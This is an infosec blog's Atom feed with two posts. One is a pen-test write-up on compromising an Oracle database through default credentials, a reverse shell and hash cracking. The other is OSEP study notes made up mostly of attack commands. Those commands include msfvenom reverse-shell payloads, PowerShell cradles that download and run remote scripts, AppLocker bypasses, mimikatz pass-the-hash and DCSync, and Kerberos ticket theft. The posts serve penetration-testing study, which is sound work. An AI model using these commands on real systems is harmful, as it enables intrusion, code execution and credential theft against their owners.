<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.9.0">Jekyll</generator><link href="https://secmuzz.github.io//blog/feed.xml" rel="self" type="application/atom+xml" /><link href="https://secmuzz.github.io//blog/" rel="alternate" type="text/html" /><updated>2021-11-27T16:21:56+00:00</updated><id>https://secmuzz.github.io//blog/feed.xml</id><title type="html">InfoSec Blog</title><subtitle>InfoSec blog
</subtitle><author><name>Secmuzz</name></author><entry><title type="html">Hacking Oracle in 2021</title><link href="https://secmuzz.github.io//blog/2021/11/26/hacking-oracle-2021.html" rel="alternate" type="text/html" title="Hacking Oracle in 2021" /><published>2021-11-26T00:00:00+00:00</published><updated>2021-11-26T00:00:00+00:00</updated><id>https://secmuzz.github.io//blog/2021/11/26/hacking-oracle-2021</id><content type="html" xml:base="https://secmuzz.github.io//blog/2021/11/26/hacking-oracle-2021.html">&lt;p&gt;I recently came across an Oracle database on an internal pen test and learned some new techniques which I thought I would share. This blog shows the process and path I used to compromise the database during my engagement.&lt;/p&gt;

&lt;p&gt;Once a host has been found that is running Oracle the first step was to try and discover any SIDs using &lt;a href=&quot;https://github.com/quentinhardy/odat&quot;&gt;ODAT&lt;/a&gt;. ODAT is an open source tool designed to attack Oracle Database servers.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;odat sidguesser -s &amp;lt;ip&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/odatSid.png&quot; alt=&quot;Odat SID Guesser&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now that we have found a valid SID, lets try and find some valid credentials. The following brute force script &lt;a href=&quot;https://blog.carnal0wnage.com/2014/10/quick-and-dirty-oracle-brute-forcing.html&quot;&gt;here&lt;/a&gt; was used to get default credentials. Brute force can also be done via the metasploit module “oracle_login”.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;#!/bin/bash&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;INPUT&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/tmp/oracle_defaults.csv
&lt;span class=&quot;nv&quot;&gt;OLDIFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$IFS&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;,
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$INPUT&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$INPUT&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; file not found&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;exit &lt;/span&gt;99&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;while &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;read &lt;/span&gt;comment number username password &lt;span class=&quot;nb&quot;&gt;hash &lt;/span&gt;comment
&lt;span class=&quot;k&quot;&gt;do
 &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;string = &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
 sqlplus &lt;span class=&quot;nt&quot;&gt;-L&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$username&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$password&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\@&lt;/span&gt;172.17.0.3:1521&lt;span class=&quot;se&quot;&gt;\/&lt;/span&gt;XE
&lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &amp;lt; &lt;span class=&quot;nv&quot;&gt;$INPUT&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;IFS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$OLDIFS&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It should be noted that not all default credentials are in the metasploit wordlist. A better list can be found &lt;a href=&quot;https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/oracle-betterdefaultpasslist.txt&quot;&gt;here&lt;/a&gt;. In this case the default credentials CTXSYS:CTXSYS worked.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/oracleBrute.png&quot; alt=&quot;Oracle Brute Force&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we have access to the database lets run the ODAT module ‘all’ which will run all modules to see if we can get command execution.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;odat all -s &amp;lt;ip&amp;gt; -U CTXSYS -P CTXSYS -d XE&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/odatAll.png&quot; alt=&quot;ODAT All&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the output above we can see various options but the one which stands out is the JAVA library. This module can allow us to get code execution using ‘java stored’ procedure (I won’t go into detail here as this attack vector has been covered many times before). We can now use ODAT to return a reverse shell by using this java module in ODAT.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;odat java -s &amp;lt;target IP&amp;gt; -U CTXSYS -P CTXSYS -d XE --reverse-shell &amp;lt;local IP&amp;gt; &amp;lt;port&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/odatJava.png&quot; alt=&quot;ODAT&quot; /&gt;&lt;/p&gt;

&lt;p&gt;From the reverse shell we can connect to the database as a sysdba and once connected we can grant our account sysdba privileges. This example shows a quick change to the SYS user password just for ease in the lab environment but this way is not recommended during a real engagement.&lt;/p&gt;

&lt;p&gt;Connect to the database and change the password:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/opt/oracle/product/18c/dbhomeXE/bin/sqlplus / as sysdba&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ALTER USER SYS IDENTIFIED BY SYS;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/sysdba.png&quot; alt=&quot;SYSDBA&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now we know the SYS password we can dump the database credentials with ODAT.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;odat passwordstealer -s &amp;lt;ip&amp;gt; --sysdba -U SYS -P SYS -d XE --get-passwords &lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/odatPasswordDump.png&quot; alt=&quot;ODAT Password Dump&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Export the passwords into a file but remove most of the values and just keep the T value to pass it into hashcat for cracking.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sed 's/.*://' oracle.hashes | tee oracle.hashcat&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/oracleHashes.png&quot; alt=&quot;Oracle Hashes&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Crack the hashes from the ODAT dump.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashcat -m 12300 oracle.hashcat wordlist.txt --force&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/blog/assets/img/2021-11-26/oracleCracked.png&quot; alt=&quot;Oracle Cracked&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;links--resources&quot;&gt;Links &amp;amp; Resources&lt;/h3&gt;

&lt;p&gt;tools&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://hashcat.net/wiki/doku.php?id=example_hashes&quot; target=&quot;_blank&quot;&gt;https://hashcat.net/wiki/doku.php?id=example_hashes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://marcel.vandewaters.nl/oracle/security/password-hashes&quot; target=&quot;_blank&quot;&gt;http://marcel.vandewaters.nl/oracle/security/password-hashes&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://javamana.com/2021/07/20210729124711510t.html&quot; target=&quot;_blank&quot;&gt;https://javamana.com/2021/07/20210729124711510t.html&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://seanstuber.com/how-oracle-stores-passwords/&quot; target=&quot;_blank&quot;&gt;https://seanstuber.com/how-oracle-stores-passwords/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Secmuzz</name></author><category term="oracle" /><category term="database" /><summary type="html">I recently came across an Oracle database on an internal pen test and learned some new techniques which I thought I would share. This blog shows the process and path I used to compromise the database during my engagement.</summary></entry><entry><title type="html">OSEP Study Notes</title><link href="https://secmuzz.github.io//blog/2021/06/11/OSEP-notes.html" rel="alternate" type="text/html" title="OSEP Study Notes" /><published>2021-06-11T00:00:00+00:00</published><updated>2021-06-11T00:00:00+00:00</updated><id>https://secmuzz.github.io//blog/2021/06/11/OSEP-notes</id><content type="html" xml:base="https://secmuzz.github.io//blog/2021/06/11/OSEP-notes.html">&lt;h1 id=&quot;osep-notes&quot;&gt;OSEP Notes&lt;/h1&gt;

&lt;p&gt;msfvenom&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -p windows/shell_reverse_tcp LHOST=&amp;lt;ip&amp;gt; LPORT=443 -f exe -o msf.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -p windows/x64/meterpreter_reverse_https LHOST=&amp;lt;ip&amp;gt; LPORT=443 -f exe -o msf.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;list encrypted options in msfvenom!&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom --list encrypt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;32bit csharp payload msfvenom&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.49.82 LPORT=443 -f csharp -o 32bit.cs&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;RDP&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;xfreerdp /u:&amp;lt;user&amp;gt; /d:&amp;lt;domain&amp;gt; /pth:&amp;lt;ntlm&amp;gt; /v:&amp;lt;ip&amp;gt;:3389 /dynamic-resolution&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Metasploit&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfconsole -q -x &quot;use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_https; set LHOST tun0; set LPORT 443;exploit -j&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Session passing from Covenant to Msf&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=8080 EXITFUNC=thread -f raw -o msf.bin&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Inject &amp;lt;pid&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;DotNetToJscript&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.\DotNetToJScript.exe .\ExampleAssembly.dll --lang=Jscript --ver=v4 -o runner.js&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;PowerShell&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(New-Object System.Net.WebClient).DownloadFile('http://192.168.49.82/ClassLibrary1.dll','ClassLibrary1.dll')&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;powershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.82/run.txt'))&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Powershell tool Find-AVSignature&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Find-AVSignature -StartByte 0 -EndByte max -Interval 10000 -Path C:\Tools\met.exe -OutPath C:\Tools\avtest1 -Verbose -Force&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Covenant&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;powershell&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Sta&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Nop&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Window&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Hidden&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Command&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;iex (New-Object Net.WebClient).DownloadString('http://192.168.49.82/payload.ps1')&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iex&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Net.WebClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DownloadString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.49.82/a.ps1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iex&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Net.WebClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DownloadString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.49.82/payload.ps1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iex&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Net.WebClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DownloadString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.49.82/a.ps1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;iex&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Net.WebClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DownloadString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.49.82/msf64.ps1&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'iex (New-Object Net.WebClient).DownloadString(&quot;http://192.168.49.82/cradle.ps1&quot;)'&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Convert&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ToBase64String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;System.Text.Encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Unicode.GetBytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Convert SID to hostname (Powerview or powermad)&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ConvertFrom-SID &amp;lt;sid-value-here&amp;gt;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;AppLocker Bypasses&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certutil -encode AppLockerBypass.exe file.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Transfer with bitsadmin (not certutil as this gets flagged!)&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bitsadmin /Transfer myJob http://192.168.49.82/file.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;certutil -decode enc.txt Bypass.exe&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Oneliner&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;bitsadmin&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/Transfer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;myJob&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;http://192.168.119.120/file.txt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\users\student\enc.txt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;certutil&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-decode&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\users\student\enc.txt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\users\student\Bypass.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;del&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\users\student\enc.txt&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/logfile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;/LogToConsole&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;/U&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\users\student\Bypass.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;windows&quot;&gt;Windows&lt;/h1&gt;

&lt;p&gt;RDP lateral movement mimikatz&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sekurlsa::pth /user:admin /domain:DOMAIN /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:&quot;mstsc.exe /restrictedadmin&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;SharpRDP - We can execute any program remotely with SharpRDP.exe&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SharpRDP.exe computername=appsrv01 command=notepad username=DOMAIN\dave password=lab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Execute out meterpreter via powershell download cradle!&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;\SharpRDP.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;computername&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;appsrv01&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.49.82/met.exe', 'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DOMAIN\dave&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lab&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Mimikatz DC SYNC&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lsadump::dcsync /domain:prod.DOMAIN.com /user:prod\krbtgt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Rubeus&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Rubeus.exe monitor /interval:5 /filteruser:CDC01$&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Rubeus can generate NTLM hash&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.\Rubeus.exe hash /password:lab&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Create a TGT for IISVC&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.\Rubeus.exe asktgt /user:iissvc /domain:prod.DOMAIN.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E&lt;/code&gt;&lt;/p&gt;

&lt;h1 id=&quot;linux&quot;&gt;Linux&lt;/h1&gt;

&lt;p&gt;ansible2john format&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python3 /usr/share/john/ansible2john.py test.yml&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Crack ansible&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashcat test-ansible.hash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Search for ansible leaked passwords in syslog&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat /var/log/syslog | grep &quot;password&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;query DC from linux using kerberos cacche file&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smbclient -k -U &quot;DOMAIN.COM\administrator&quot; //DC01.DOMAIN.COM/C$&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Linux kerberos&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo chown test:test /tmp/krb5cc_minenow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kdestroy&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;klist&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;export the variable&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export KRB5CCNAME=/tmp/krb5cc_minenow&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;now check it worked!&lt;/p&gt;

